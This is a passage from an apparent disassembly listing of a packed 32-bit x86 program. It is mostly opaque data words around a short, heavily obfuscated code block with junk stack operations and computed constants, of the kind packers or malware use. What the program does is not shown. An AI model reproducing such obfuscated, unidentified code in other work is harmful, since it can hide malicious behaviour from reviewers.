		dd 83000000h, 6AAB12A2h, 4F90F78Fh, 3071D868h, 1455BC54h
		dd 1B3BA232h, 0DA6A4CC3h, 0BC543273h, 9C2C1455h, 7F17F435h
		dd 11A6DD18h, 4DD8E1D0h, 6967AA84h, 0EA411E87h,	0D3791C55h
		dd 7AE0C84Bh, 8F6CAD14h, 0C26990F7h, 0D379342Dh, 6CB8A04Bh
		dd 1B8C6919h, 4E1FA840h, 5A52DB73h, 34058EF4h, 7F9ABF57h
		dd 0EDC657CCh, 5BD21E63h, 3EA53D1Ah, 0FF8820FDh, 0D70CA148h
		dd 7F4BD3F4h, 5E284B97h, 0C8C0B2A3h, 7C59E921h,	0AF567DE4h
		dd 0C38D91Ah, 66A58D3Fh, 7169F28Ah, 61F9D625h, 7E6021D8h
		dd 216D65EEh, 42BF6D2h,	0A4BD527Ah, 303F0CDCh, 4D57AF48h
		dd 92395EC4h, 0CCEE4FDh, 6388703Fh, 0CCE95CEh, 0D59413Fh
		dd 0FEC1A374h, 67A28926h, 0A52E9475h, 0D55EF6D4h, 24F7134Ah
		dd 3EC4062Dh, 2162C961h, 7AFC7944h, 0A87603FAh,	385B942h
		dd 0C2000000h, 8869196Ch, 0C19E6FF8h, 0E7CFA029h, 1FFDCE57h
		dd 4B2DFE87h, 7F6132BBh, 0B99566EFh, 0E0C79821h, 1BF6C750h
		dd 53CCFA83h, 0C3815B54h, 4, 8704EB83h,	575C241Ch, 0C781E789h
		dd 4, 8704EF83h, 895C243Ch, 89572434h, 4C781E7h, 83000000h
		dd 3C8704EFh, 3C895C24h, 8D685124h, 594E5244h, 0C01DE981h
		dd 81514846h, 6CA4242Ch, 815E1293h
		dd 936CA4C6h, 8B545912h, 0C483243Ch, 0BA525604h, 22181A8Dh
		dd 4245429h, 8478F5Ah, 8D084781h, 0FF22181Ah, 835F2434h
		dd 348B04C4h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 0FBA984E9h, 1C29DAFFh, 38449CD6h, 0B8FFE08Dh, 60B99FEh
		dd 0E0FFC503h, 5789D979h, 4728282Ch, 7ECD211Ch,	4112868Bh
		dd 29AA916Bh, 3907069Ch, 6A6346CBh, 2FF86AD0h, 2A7CDE77h
		dd 411C7A44h, 2FDC30B5h, 39FC2C14h, 6D6B53A6h, 5C621D76h
		dd 5E2F8853h, 6B1D3260h, 9B828D8Dh, 0BD89060Bh,	6060069h
		dd 28DD8D89h, 6A0606h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BF222C3h, 6118DBDh, 1DBD0906h
		dd 0C7060603h, 6111185h, 711006h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 95892C1Eh
		dd 60613DDh, 2E4985C7h,	606h, 9D890000h, 6062B71h, 2EF1B5FFh
		dd 0AE90606h, 6F000000h, 53575014h, 35AB9B73h, 9195FFEFh
		dd 0BF060607h, 14F7EEC6h, 95FF006Ah, 6061AC9h, 1FEBC08Bh
		dd 0A8AF51FEh, 5C00DAFAh, 0FD29EA7h, 46ED8BEEh,	7D1FED9Ah
		dd 0F8677EE7h, 79A88463h, 0EBCF4F11h, 15AC8E04h, 593E925h
		dd 0A0E90000h, 0F691AF11h, 4E3755B7h, 0ADD7F557h, 0C7694F6h
		dd 4D3A3597h, 5ABCE79Bh, 0FD5F4C3Ch, 9F01A4DFh,	44A60581h
		dd 84396EEFh, 6833D017h, 0EC9A8E52h, 32D261BFh,	0BBE89A56h
		dd 0DCA6345Ah, 7C5B6297h, 30912DC4h, 374F6DCFh,	96F00E6Ch
		dd 0ACDC7C0Dh, 0D91F5449h, 0F35445D1h, 0A4E301CDh, 0C219A4D9h
		dd 7ADB2DC4h, 0CE7CBB19h, 4E5D29D8h, 0EEB5CEECh, 33FC65Dh
		dd 0AAFA7BB0h, 0ED96B484h, 0B9178EF7h, 5C4B3A5Ah, 97F9DFBh
		dd 0E3113C9Ah, 5E453EC3h, 0FBA8DEFCh, 37D6EA9Dh, 0AF302DC5h
		dd 0B31740Fh, 9A56B7EFh, 0CDA8EE31h, 5Dh, 0BFEC9A09h, 7C11AE61h
		dd 55F32DC4h, 7534BC51h, 133A8EDh, 6F000000h, 60BEED9Ah
		dd 0D5664542h, 0F5535235h, 86A47096h, 2D4BA9FEh, 0AAF98F55h
		dd 2E8CED4Ch, 0D3317210h, 0AC1492B0h, 18E9BD6Bh, 0B4D2346Fh
		dd 7D6B1AD2h, 1F3FA007h, 4EDF4063h, 0A9CFD4AEh,	0D8AA4AD9h
		dd 0E80E6DCBh, 5E89A24h, 0F0E44C43h, 6AC82931h,	12703B4Ch
		dd 0E5ABFBA9h, 525134D4h, 0C486209Dh, 4D73D42Dh, 7EE0C3BFh
		dd 74C72660h, 0E1DF5BBh, 6EAEF112h, 49AA1F03h, 114657E8h
		dd 2DC55BACh, 0C7BFDF40h, 0CCEAB6DCh, 0D68CEAB9h, 0DF21ECBAh
		dd 88A8EE5Ah, 72h, 0BBE89AC4h, 5F463F5Dh, 9214C201h, 2E90136Fh
		dd 10727210h, 90A13293h, 0C47C625Bh, 0B31922Dh,	6A9FB03Fh
		dd 2DC47C53h, 7C8D3065h, 0FE5F2DC4h, 8C1A40A1h,	974DABF8h
		dd 1EE22B7Bh, 49A8ED7Bh, 65h, 0B904394Ah, 3B2DC485h, 29F0B4DAh
		dd 139A5C92h, 42ADBF3h,	0ABD80C76h, 0DA3B9AF8h,	7E255E7Ch
		dd 0C7DFFD20h, 0F95B483Ah, 0EFBCCA6Ah, 892905C9h, 0F886ACFBh
		dd 3B6148Fh, 2DC47BBDh,	97F9AD4Bh, 0A30C8800h, 0DB01591Ah
		dd 0ED979759h, 13D0A8h,	0C0D10000h, 0C4AA328Bh,	0D061C22Dh
		dd 0C4AA229Bh, 4B71D22Dh, 8CEB9A87h, 0C47C6657h, 6F862Dh
		dd 0D7F1F9C9h, 1472D334h, 614BEE85h, 0A3163BBCh, 766C4DFh
		dd 94F280A6h, 0CDBA2A58h, 0C01F7DDEh, 0A1E3015Fh, 0FF86A402h
		dd 562C4AA8h, 6B90EF4Dh, 3A67594Dh, 0DAE31829h,	1A2DC493h
		dd 2F7793B9h, 8FC4B3D2h, 2DC4942Eh, 9AFC5DBEh, 52E32340h
		dd 0C292471Dh, 0FE5CBD2Bh, 9BFDA6E0h, 3C9A097Dh, 0CA953689h
		dd 0D2D4F233h, 4578ADBEh, 0A733CA95h, 0F4922046h, 0F68F26B7h
		dd 5B8ED7Ah, 0E733CAB9h, 0BB476F86h, 5A78486Eh,	4EEE7F2Ch
		dd 7E4A7037h, 1F7D2660h, 639E08B6h, 14268823h, 0AEF3F8DCh
		dd 63107414h, 0CB0C8F2Eh, 0A3046533h, 38C0E645h, 188h
		dd 1015E74h, 62913B70h,	63832BC2h, 1E658520h, 0F5952687h
		dd 26F2188Fh, 0C3257E08h, 64C2E1A5h, 5634046h, 49B8EE9Ch
		dd 310FB83Dh, 83CF5280h, 91F19122h, 1493F212h, 613157B6h
		dd 0F405A14Fh, 4EC6AEh,	5E020000h, 3D720307h, 2DC47CB0h
		dd 12B243A4h, 79D83675h, 7C0AB3E8h, 89EA2DC4h, 0D9E49763h
		dd 0C72DC47Bh, 0E3830D99h, 21B950A5h, 0AB197A32h, 0B5CEEC4Ah
		dd 9D678DEEh, 7CB14246h, 2DC51A71h, 9D734C63h, 109489E4h
		dd 0F5AD4DAFh, 0D9000000h, 0AAF98929h, 5DA5BA84h, 687D97CCh
		dd 586F2BC2h, 8DFB174Bh, 4A61C01Eh, 98F9D7ACh, 891C6707h
		dd 0F7089763h, 0CB63FBC2h, 7090F133h, 0D9678D16h, 2499CEADh
		dd 0C833CB64h, 68C6DDA8h, 0E217A809h, 33CB63DBh, 0ED4FB011h
		dd 5A2DB7CFh, 4859EA4Bh, 0CB63AA13h, 0C3E94A33h, 644E44F7h
		dd 5E7C33CBh, 0DECDB948h, 0C5CD227Ch, 0B3F09434h, 0DD7D8E8Dh
		dd 899EFCABh, 8425B708h, 183E9F93h, 0D64374F5h,	0CE5FC031h
		dd 254B582Eh, 8133CA59h, 1DB50248h, 18C2FB30h, 0D1322DD2h
		dd 6C375070h, 0FB89AF0Eh, 8625618Bh, 0A68C928h,	3937CEDFh
		dd 0CFDEA901h, 609DFB8h, 0E3E2C4E0h, 0E4BFC78Eh, 35C62786h
		dd 0DFDE1324h, 152DD229h, 29BEFFB4h, 172E2DD2h,	38913BD8h
		dd 648AEB54h, 0F6393065h, 7A0B2BDCh, 0CB0A7845h, 0BA1B7C33h
		dd 83B8C958h, 33CB0A3Ah, 6F3359BAh, 0ADFC8929h,	60A0BD87h
		dd 0E0CF9ACFh, 0C4252BCFh, 91C6D766h, 33D0172Ch, 0AB395FC0h
		dd 526BA0DBh, 0A233D017h, 46A70482h, 0E7485F26h, 841F6785h
		dd 12937326h, 0CF7D14E6h, 4F5C2AD7h, 0ECB7CFEDh, 5F14708Eh
		dd 6471CBC8h, 0FAAFFD76h, 52DA3DC3h, 307F0929h,	0B4093ECFh
		dd 3852DA3Dh, 0ED1876D7h, 6C1AE7BFh, 0C7BFDD3Fh, 3DE7EDCh
		dd 0A000000h, 0EF9A065Ah, 424462C0h, 96ED0B69h,	0F593B10Fh
		dd 483A58B6h, 0A3DFFD5Bh, 84A200h, 5E2745A3h, 0BCCBE947h
		db 0F1h, 93h, 1Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 5313188Dh
		not	esi
		add	esi, 591EB43Fh
		mov	ecx, esi
		pop	esi
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 77E671BAh
		not	eax
		not	eax
		and	eax, 25E204A0h
		not	eax
		xor	eax, 0DA1DFF57h
		add	eax, ebx
		mov	[eax], ecx
		pop	eax
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54C1AD
; ---------------------------------------------------------------------------
		db 0Ch
		dd 0C4705FE2h, 477F74FEh, 0A096B82Eh, 0C503060Bh, 0F884E0FFh
		dd 83C670BCh, 79B266E4h, 7C731BA9h, 5AE8274Ah, 7F657ABh
		dd 38635467h, 28AA2689h, 0B54275D1h, 64DB67C2h,	0EA006692h
		dd 0AE9761B9h, 0B6286C31h, 0D1605A32h, 6831600Ch, 69455D00h
		dd 0EB031DCDh, 0FC9E0CE0h, 55609E7h, 740F03E3h,	0A4A222EFh
		dd 36E90A90h, 6A3E1F65h, 2A191C15h, 15F14C9Bh, 1A764F2Bh
		dd 5F8467BFh, 581D463Bh, 19692428h, 1D549E1h, 13E87801h
		dd 23000000h, 0A486F685h, 8644B2B1h, 0A1101F6Ah, 812CACA8h
		dd 0E9533B78h, 14h, 0D189226Ch,	0A1F224B2h, 5CBCBA7Ah
		dd 854FA703h, 21CCA67Ah, 8B665B59h, 2AC381FBh, 81000075h
		dd 1E3F49C7h, 81D22B02h, 0D7E64CCFh, 1A34FF3Eh,	14E9h
		dd 29CCAE00h, 8A6472CEh, 0EE08E1C9h, 802C9DAEh,	90AC6CC1h
		dd 8B605847h, 6880FFEh,	0F000000h, 85h,	0C0816100h, 5635D4FEh
		dd 51D18166h, 81C0810Ch, 0F782AF2h, 186h, 0F081F900h, 5F45465Ah
		dd 58F0Fh, 81660000h, 8989BEC9h, 8E0F1304h, 3, 83F9B70Fh
		dd 5F5003EAh, 50BFB94Ah, 0FA8127EBh, 0FFFF8B94h, 0FF87850Fh
		dd 8B66FFFFh, 0E9C08BF3h, 0Bh, 0D43F3AD5h, 9F737795h, 835CB6F0h
		dd 630D1BDh, 9750006h, 4B5BD83h, 74000606h, 8B535019h
		dd 3FCB8C0h, 85890000h,	6062C51h, 0B2619D8Dh, 0D3FF0608h
		dd 0BD83585Bh, 60604B5h, 50177400h, 3FCB853h, 85890000h
		dd 6062C51h, 0AF509D8Dh, 0D3FF0608h, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6A85BFC3h
		dd 66DB989Ch, 12E924h, 0E7B60000h, 4FC3B651h, 2EDD21C1h
		dd 76262263h, 9FD631D3h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0C35242h, 0F60F8A1h, 8Dh, 0F9B86600h
		dd 0C08B61D2h, 0E8C68056h, 4890F5Bh, 66000000h,	83B531BAh
		dd 61D3DBDh, 840F0106h,	37h, 0DA805B57h, 0F1BD83AAh, 60620h
		dd 25850Fh, 11E90000h, 3000000h, 0E563A767h, 7542B4EBh
		dd 4BBB9759h, 2727C2F0h, 3415BD83h, 0F000606h, 5284h, 0E9D18A00h
		dd 3BFh, 0D68B66h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 5F2EC356h, 61D8CA2Ch
		dd 0F602A7Fh, 38Eh, 42CD8000h, 61C9BF0Fh, 6E8h,	0EF00C300h
		dd 8BE99386h, 81665AD0h, 0DE067BCAh, 0A2142F7Dh, 53B53CEh
		dd 20ECB045h, 864933C1h, 6360CAD9h, 4DB4E521h, 7D3155C8h
		dd 2E9C0953h, 33F4D349h, 81D15B6Bh, 6AB03520h, 0D83168C8h
		dd 9CBB91E8h, 0A5E035A2h, 0A6B035CBh, 0B736DE8h, 0AD947141h
		dd 0D0947149h, 6AB035DFh, 9736588h, 0FC320F0Eh,	4059E443h
		dd 0B9B035C8h, 0F3A57376h, 8E3E79C7h, 404BAE2Bh, 6B7BB4AEh
		dd 5F70BE50h, 995865C8h, 6DB035C8h, 2FE8F690h, 0D2B4118Ch
		dd 0BEB4118Ch, 94B035C8h, 8DE4F698h, 0DDE084E7h, 9AB035C6h
		dd 2F055733h, 3BB4ADD7h, 0AE2CD072h, 20EAE520h,	5FD611CCh
		dd 26B13A18h, 35DACBECh, 9AB3DD9Fh, 129035C8h, 0DA396A0Bh
		dd 173131ECh, 0A9A631ECh, 83F735C8h, 616FB00Bh,	35B03821h
		dd 0EEAFAC8h, 243A31E7h, 7413028Ch, 0D8D6468Ah,	0A9DA6D17h
		dd 0D4B3DD9Eh, 349035C8h, 41396B0Bh, 0DE3131ECh, 4DA531ECh
		dd 0F0F635C8h, 0D95AAC0Bh, 0AB313A36h, 63B035C8h, 68BC3089h
		dd 35DA35C8h, 9AB3DD99h, 149035C8h, 0EA396C0Bh,	173131ECh
		dd 0A9A431ECh, 85F135C8h, 0E1D6B40Bh, 0B4B8BE18h, 0F7F3B212h
		dd 53B53F5h, 0F6B05F34h, 53B03620h, 6AE815C8h, 0F0F4BC90h
		dd 4EF4B4CCh, 35B023CCh, 59E075C8h, 0F530565Ch,	0A6B035C9h
		dd 0BBE735A2h, 0A9B035CBh, 8B736AE8h, 6E944941h, 31947149h
		dd 9AB035D5h, 4D73628Fh, 3FA859A5h, 255730FDh, 0A9B6DD2Ah
		dd 11CC35C8h, 0D3DB639Ah, 35B03221h, 1E78A8C8h,	0B083D137h
		dd 0AB58A492h, 9DB035C8h, 261BD0EBh, 22EC1416h,	25BE77C7h
		dd 35B03D21h, 6B9F92C8h, 2DF214C4h, 0A9E06E43h,	53B0374Eh
		dd 3867BEC8h, 0F40C8E31h, 0E6D6535Eh, 35BCDC11h, 0E08B35C8h
		dd 9B9AA974h, 0F85FDDCAh, 924681BBh, 89353ACCh,	0BEB035C9h
		dd 695864C8h, 15B035C8h, 13E9F691h, 0CCB41184h,	0B1B4118Ch
		dd 12B035C8h, 0AD63F699h, 283AC726h, 6ABAB6C7h,	55D035C8h
		dd 0C43B4A9h, 2CD35BC0h, 0A6BCDD91h, 6AAB35C8h,	501B8AF1h
		dd 582A9A3Bh, 3049C29Ah, 3AD80C48h, 9AB10C4Dh, 1EB05FC8h
		dd 0A6B03620h, 90EB15C8h, 8DECBC93h, 0F0F4B4CCh, 6AB029CCh
		dd 0F6E376C8h, 0F93D389Eh, 6411C6C3h, 0C66BB441h, 0D88ECE4Fh
		dd 0A9DA34B1h, 0D4B3DD98h, 329035C8h, 71396D0Bh, 0DE3131ECh
		dd 4DAC31ECh, 0F6F035C8h, 9E86850Bh, 982A87FFh,	0B3B4FB7h
		dd 0B40F3A9Ah, 354FB493h, 953035C8h, 4DB0E04Ah,	783B53C8h
		dd 0D677C242h, 0AFBB9662h, 0D4B035C9h, 6AB03A20h, 0A6B9AC8h
		dd 532DB887h, 0FFC7ABFAh, 9DDBFD12h, 0BAEAEB43h, 0A9B03567h
		dd 0D4BBB5C7h, 0ECBF35C8h, 35B035CDh, 51D8A973h, 4D24DCC0h
		dd 0A6DA35C8h, 53B3DD9Ah, 0F39035C8h, 80396F0Bh, 2E3131ECh
		dd 35A831ECh, 0C8F235C8h, 0A09B9C0Bh, 2EBFF12Eh, 53B035CFh
		dd 7A3153A8h, 8DD112E1h, 82E535A2h, 35B035CBh, 0C77368E8h
		dd 49945941h, 0A2947149h, 53B035D4h, 0F673608Dh, 95B3C300h
		dd 7C49A134h, 0B6D6EB42h, 954F3EB1h, 4DB0004Ch,	5742B4C8h
		dd 94B86B5Eh, 0A2139F4Dh, 0D4B034CEh, 3AB05FC8h, 35B03620h
		dd 59E815C8h, 69F4BC90h, 82F4B4CCh, 53B02DCCh, 6AE075C8h
		dd 76B7A77Fh, 8E668F39h, 82F82BD6h, 23D58615h, 5C330C72h
		dd 0F9BB045h, 0EE3D33C3h, 0AFBB924Ah, 0D3C4CDF3h, 0A3613AF8h
		dd 8645DE8Fh, 0D972B403h, 0A581346Eh, 0A6B035DAh, 5D5B3209h
		dd 3160935Eh, 15B1DC67h, 6408382Bh, 8ABFA90Dh, 27336F17h
		dd 4BB628F5h, 0CB343AC9h, 39B035C8h, 0AA5862C8h, 0F4B035C8h
		dd 0E3EFF697h, 0B4B411B4h, 8DB4118Ch, 0AB035C8h, 0C2C0F69Fh
		dd 72065A58h, 1433E243h, 0D2B61539h, 57353AC8h,	5FB035C8h
		dd 995862C8h, 6DB035C8h, 2FEFF697h, 0D2B411B4h,	0BFB4118Ch
		dd 93B035C8h, 34BF69Fh,	0C42B4C3h, 1B925515h, 16AEA61Bh
		dd 0B30DB6D5h, 53B633FCh, 0A984B1C7h, 0F3135C8h, 6EFF85A7h
		dd 35B08D21h, 0CAB05FC8h, 4DB03620h, 65E815C8h,	77F4BC90h
		dd 8DF4B4CCh, 0D4B029CCh, 0A9E075C8h, 668E931h,	7D2A659h
		dd 873153B0h, 1B33A5C8h, 55B628F5h, 0EA353AC9h,	86B035C8h
		dd 0DADBD649h, 68EA7BC6h, 596E8AC7h, 2359E37Eh,	0CCB035C8h
		dd 505863C8h, 89B035C8h, 5DEEF696h, 0EBB411BCh,	28B4118Ch
		dd 0DCB035C8h, 0C39DF69Eh, 23DE8A9Eh, 0F2BBCC9Bh, 35888FAEh
		dd 9F0B5398h, 0EBED6FF3h, 0A9BDAA2Ah, 9ADAFAFCh, 4DB3DD9Ah
		dd 0FC9035C8h, 7396F0Bh, 0ED3131ECh, 0D4A431ECh, 38F235C8h
		dd 53D0FE0Bh, 0C97ABB73h, 4DB03220h, 35AF96C8h,	663880D8h
		dd 0A6D16E96h, 0D4B03547h, 980DB8C8h, 0B8B63E6Bh, 9118CD45h
		dd 11AD8DCEh, 23834EF2h, 55B635A5h, 2371FAE3h, 5C330C72h
		dd 0F9BB045h, 0EE3D33C3h, 0AFBB924Ah, 0D3C4CDF3h, 0A3613AF8h
		dd 5E9838Fh, 0BD83A4F3h, 60BA3AAh, 8D0D7400h, 64ED28Dh
		dd 1B806h, 0E1FF0000h, 52006A40h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 50006A39h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BB6624E6h
		dd 0E8834C3Ch, 5860F2Dh, 0BB000000h, 6CA88DB1h,	0FE9h
		dd 3AF97000h, 0F5B3A6CBh, 8DF97D91h, 79177E17h,	0CF80C08Bh
		dd 0D1BD838Eh, 60630h, 0BD830975h, 60604B5h, 50197400h
		dd 0B8C08B53h, 3FCh, 20B98589h,	9D8D0606h, 608B2C8h, 585BD3FFh
		dd 4B5BD83h, 74000606h,	0B8535017h, 3FCh, 20B98589h, 9D8D0606h
		dd 608AF69h, 585BD3FFh,	5E9h, 9ED35500h, 6AA8A6h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 50BA26C3h, 85232E9Dh, 0D18B86F6h, 8EBC08Bh, 0A148FCAh
		dd 77E7339Ch, 0DA8E9h, 0ABD56800h, 56E9060Bh, 68FFFAD3h
		dd 60BACC1h, 0FAD34CE9h, 0AE3768FFh, 42E9060Bh,	68FFFAD3h
		dd 60BAF70h, 0FAD338E9h, 0B11A68FFh, 2EE9060Bh,	68FFFAD3h
		dd 60BB388h, 0FAD324E9h, 0B53468FFh, 1AE9060Bh,	68FFFAD3h
		dd 60BB644h, 0FAD310E9h, 4C5B2EFFh, 0F0BBCCEAh,	8E15708Eh
		dd 31760E2Ch, 0D2D1B1CFh, 0D6887570h, 7795F7ACh, 12309211h
		dd 0B2D03271h, 2075D7D4h, 26536A9Fh, 839933D0h,	9EC9ABFh
		dd 9B9E0A91h, 902182D7h, 23734A7Fh, 18792DC5h, 7E0826F2h
		dd 1469C325h, 0C6A394Dh, 1BBB4CADh, 0BFF58768h,	0E30D3A76h
		dd 4C5D5C82h, 0C15D4CB5h, 0E5059EDEh, 0BADD03A2h, 2BC2ECB6h
		dd 59EE888h, 572248A7h,	0DCE598F6h, 0BD33CB0Ch,	0E80805A1h
		dd 8AEF409h, 26841F68h,	155B6297h, 309133CBh, 4221A9CFh
		dd 5D000000h, 4342015Eh, 0A57432AEh, 2D8E2797h,	7E0F70CFh
		dd 0C2870349h, 4AA8092Bh, 0CA7F2A97h, 22810733h, 0C9DEA6C4h
		dd 70374D6Bh, 0C472B312h, 0A26DEE2h, 787F719Ch,	0D171AEF3h
		dd 4AD2F8B7h, 0C7h, 0FF892986h,	0CDF352B0h, 0FE5C473Fh
		dd 0EC8DD86Fh, 3DDCD13Eh, 0A1005E45h, 0F68C1A40h, 77C1CADh
		dd 0B9DF3E9Ch, 0ECB7CFEDh, 8D16708Eh, 0EB8B9C2Bh, 615C119Ch
		dd 932DC55Bh, 5AF0CD02h, 0A3042DC5h, 77F91C42h,	0BA2DC55Eh
		dd 5F7DDFCCh, 0C41E7C27h, 0A1D667AFh, 2BC3334Fh, 68C22485h
		dd 457A0B0Bh, 31D3C1DBh, 5E5F94A5h, 8E2DD2C1h, 3091166Eh
		dd 4DDE3F0Ah, 6DCBDAADh, 49E9E80Eh, 0EA086A39h,	4DD60B98h
		dd 128405AAh, 0B3E16B6h, 0C4C50000h, 226583E5h,	82032183h
		dd 0E1A3C123h, 404260C2h, 79060163h, 26881B67h,	0C1238008h
		dd 63C5E0A3h, 624145h, 0C8F52AABh, 2C33D026h, 0E89A5216h
		dd 4B3B59BBh, 5EAAFE60h, 5F700101h, 0C47B932Ah,	0D2F8592Dh
		dd 7FAE9ED3h, 4242BC2h,	65C3247Fh, 0CA800FB2h, 386E8A33h
		dd 0F3791BD5h, 0C14CAEh, 29880000h, 0E2EE6D92h,	4E745621h
		dd 7FDDC6C0h, 0F1822161h, 0E412ABE0h, 81E22DC4h, 94DC8F5Bh
		dd 0FB2DC4E7h, 7E8F208Bh, 0C4E87449h, 17782Dh, 8EB81FA7h
		dd 0C191B770h, 0C3B59B32h, 0FF4E26A6h, 703B4BD9h, 9C5BB812h
		dd 0FF5EBCE7h, 65FC0D9Eh, 74585197h, 6487AD7Ch,	2BC2998Ch
		dd 0A90365C6h, 86BB4C54h, 31D3426Bh, 0D7770869h, 255942ABh
		dd 98C46DD6h, 7D06A637h, 12300026h, 7FFE3370h, 50840517h
		dd 0A5254F4h, 0B0D90000h, 6819F01h, 5E2745A7h, 0BDC7E547h
		dd 1C6684E6h, 5D2A2587h, 4AACF78Bh, 0ED4F5C2Ch,	8FF1B4CFh
		dd 34961571h, 94295EDFh, 5833D027h, 0E89A7E42h,	4B3B59BBh
		dd 9AAAFE60h, 0D261BFECh, 31575432h, 0E212E3A3h, 48595D47h
		dd 720163C4h, 8FC4B3D2h, 2DC4852Eh, 0D6FC5DBEh,	1EAFF70Ch
		dd 0C26FEBE9h, 516AD2Bh, 0E3EE4AEBh, 396C1737h,	8B567CDBh
		dd 8BF9992Ah, 0FA2FBE1Ch, 33CB3FC3h, 4167C829h,	3FFEC275h
		dd 543133CBh, 0ACD9F755h, 0FA5B483Eh, 0F7AF5D9Ch, 0B1F511C9h
		dd 0F43D945Ch, 691D3AEh, 290F0000h, 50AEFD89h, 0EC01CBF1h
		dd 4ADE13A4h, 382BC24Bh, 0FBC679D7h, 9E33CAACh,	7E92482h
		dd 60AEF3AAh, 66Bh, 1015E9Ch, 5B4D3B70h, 0D6372BC2h, 9CFCC578h
		dd 503533CAh, 0AADDFB59h, 5D889DFBh, 6A7CCE95h,	584E7CA9h
		dd 1294B068h, 0F3CAF5FBh, 2C5BFBAEh, 380E2381h,	952D2F0Ch
		dd 45CDF354h, 62Bh, 898FAC81h, 8A9B2C74h, 0D63055F3h, 82A8097Dh
		dd 0C324215Fh, 37F1F2Bh, 4EAF7AA0h, 41681DBDh, 0D96D84E3h
		dd 0BD14E76h, 0D1F4163Ch, 0A7D7A6D7h, 0C05151AEh, 0D5C7298Bh
		dd 1C7ADBB5h, 932EF68Dh, 0F6B12F21h, 0EAE906D0h, 1BAC0D9Ah
		dd 0D747A6E6h, 0BA4BACB7h, 153B681Ah, 93107616h, 38731331h
		dd 0B39603h, 47E743FAh,	8DCh, 25872663h, 0C3258007h, 67C9E0A5h
		dd 0A6C3B49h, 0AB0D96ECh, 7111C7B0h, 0D6B2D032h, 2A5977D9h
		dd 8BFB197Bh, 0E869BE20h, 0D02A0AB3h, 10D4EA33h, 61BFEC9Ah
		dd 19AAEA07h, 0C3D47108h, 69573A49h, 0E98E2043h, 2D442BCFh
		dd 78AAE835h, 0EA4CADCAh, 0D0119A37h, 6E059633h, 0C14D35DAh
		dd 9D062C0Ah, 0B81A89FDh, 7203075Eh, 0E25771DBh, 9CB34562h
		dd 7A8C46DBh, 7E7DA3E1h, 0D04E7C49h, 0AADF7033h, 33D04E13h
		dd 0B91778D9h, 8042932Ah, 0C3218EFAh, 0F1CC4D64h, 3831137h
		dd 1E9346A8h, 1333D036h, 44D33570h, 0BDCD48ADh,	0DC025EDBh
		dd 0D6B384Eh, 85386D7Eh, 6733CFDDh, 4BDE006h, 28D846EDh
		dd 5DF49C0Ah, 1C5B688Ah, 0CF5D8338h, 50572DB7h,	0D03293F2h
		dd 79D7D4B2h, 6F3C4AEAh, 0EA9B2649h, 788927B8h,	9AF8ABD8h
		dd 3A691B3Bh, 3B577DDCh, 0B3F0966Bh, 129B151h, 9ADD0000h
		dd 8E2EBFECh, 0BF8BB1F6h, 32C3E2A1h, 7BD1EC21h,	0C2232DC4h
		dd 0A01DD09Ch, 912DC47Bh, 0FE58B6F5h, 0DB10A1E1h, 2BCFD1D3h
		dd 4F562DCDh, 0A16C92F1h, 45A80B40h, 0D9357E08h, 7A339h
		dd 505F2A00h, 0ECB7D0EEh, 8A196C8Ah, 2D7A0A28h,	0CED5ADCBh
		dd 0D284716Ch, 7391F3B0h, 16349615h, 0B6D4366Dh, 1C71D3D0h
		dd 2B57669Bh, 879D33D0h, 0E31829C3h, 2DC47BDAh,	7C0CB1E6h
		dd 7FE02DC4h, 0D9BC122h, 75E57479h, 4436D966h, 1B6785E3h
		dd 7B082688h, 0DEA8C628h, 6E4F8495h, 7E2DC573h,	7355681Dh
		dd 36972DC5h, 2D5573D5h, 504EE576h, 4E6907E1h, 0A8C692B8h
		dd 26BC9DAh, 68FCDA71h,	73D64C73h, 8C75314Dh, 0F6C5F7F6h
		dd 5AC10346h, 6B8597F9h, 0FCA8EE07h, 0Ch, 801838h, 69090000h
		dd 0A3678D1Ch, 2EBFEC9Ah, 92F0F48Eh, 0F354B311h, 44103695h
		dd 0C46C3091h, 0E0C6F42Dh, 0E4466521h, 88E6BDC6h, 0C48BEBD5h
		dd 0EA8A1B2Dh, 4EAD0B98h, 0F69A0C28h, 18762D56h, 8C695489h
		dd 2A8B2DC4h, 6E15A3C9h, 9A81D537h, 8929BAE9h, 0BB87ADFCh
		dd 61BFE69Dh, 0A55C4AF8h, 0B265C7DEh, 2DC47415h, 811ED3E7h
		dd 0B449A8EDh, 4AFFFFFEh, 0ABD1DEAAh, 36D18E7h,	69090000h
		dd 0D1308E1Dh, 1829E7ABh, 0C47BDAE3h, 93B91A2Dh, 20638105h
		dd 8AE8BFC6h, 0D6CCA2Bh, 0AEBF4EACh, 0C47C4479h, 2747A82Dh
		dd 0FC1F4560h, 2DC47BB5h, 6A1ABACBh, 5A80DF3Dh,	0ED99683Eh
		dd 36CD5CBEh, 48648DE3h, 33701255h, 0F51576D5h,	5CBB1990h
		dd 0C5DEA836h, 0A0DD9D34h, 497EDC92h, 0DA45723h, 932DC4BDh
